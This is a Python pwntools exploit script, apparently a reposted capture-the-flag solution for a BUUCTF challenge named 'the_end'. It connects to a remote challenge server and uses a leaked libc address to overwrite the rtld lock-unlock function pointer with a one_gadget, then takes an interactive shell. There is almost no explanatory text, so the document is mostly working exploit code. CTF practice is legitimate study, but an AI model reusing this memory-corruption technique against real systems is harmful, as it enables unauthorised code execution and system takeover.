from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./the_end" #p=process(pwn) p=remote("node5.buuoj.cn",29036) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- p.recvuntil("a gift ") libcbase=int(p.recv(14),16)-libc.sym['sleep'] print(hex(libcbase)) p.recv() rtdl=libcbase+0x619060 rtld_lock_default_unlock_recursive=rtdl+0xf08 one=libcbase+0x4f322 #debug() for i in range(5): p.send(p64(rtld_lock_default_unlock_recursive+i)) p.send(p8((one>>8*i)&0xff)) #p.sendline("exec /bin/sh 1>&0") p.interactive()标签:p64,libc,create,buu6,sendlineafter,import,chunk From: https://www.cnblogs.com/fheap/p/18090729